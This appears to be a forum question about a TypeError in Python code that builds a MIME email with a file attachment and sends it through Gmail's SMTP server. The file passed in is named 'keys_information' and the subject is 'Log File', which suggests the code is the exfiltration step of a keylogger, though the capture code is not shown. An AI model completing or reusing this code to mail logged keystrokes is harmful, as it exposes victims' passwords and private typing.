I'm trying to send an email attachment using
MIMEMultipart ['From']
and it is not working, what is the problem?
When I run the code, it says this:
n send_email
msg['From'] = from_address
~~~^^^^^^^^ ule>
TypeError: 'type' object does not support item assignment
def send_email(filename, attachment, to_address):
from_address = email_address
msg = MIMEMultipart()
msg['From'] = from_address
msg['To'] = to_address
msg['Subject'] = "Log File"
body = "Body_of_the_mail"
msg.attach(MIMEText(body, 'plain'))
filename = filename
attachment = open(attachment, "rb")
p = MIMEBase('application', 'octet-stream')
p.set_payload((attachment).read())
encoders.encode_base64(p)
p.add_header('Content_Disposition', "attachment; filename= %s" % filename)
msg.attach(p)
s = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login(from_address, password)
text = msg.as_string()
s.sendmail(from_address, to_address, text)
s.quit()
send_email(keys_information, file_path + extend + keys_information, to_address)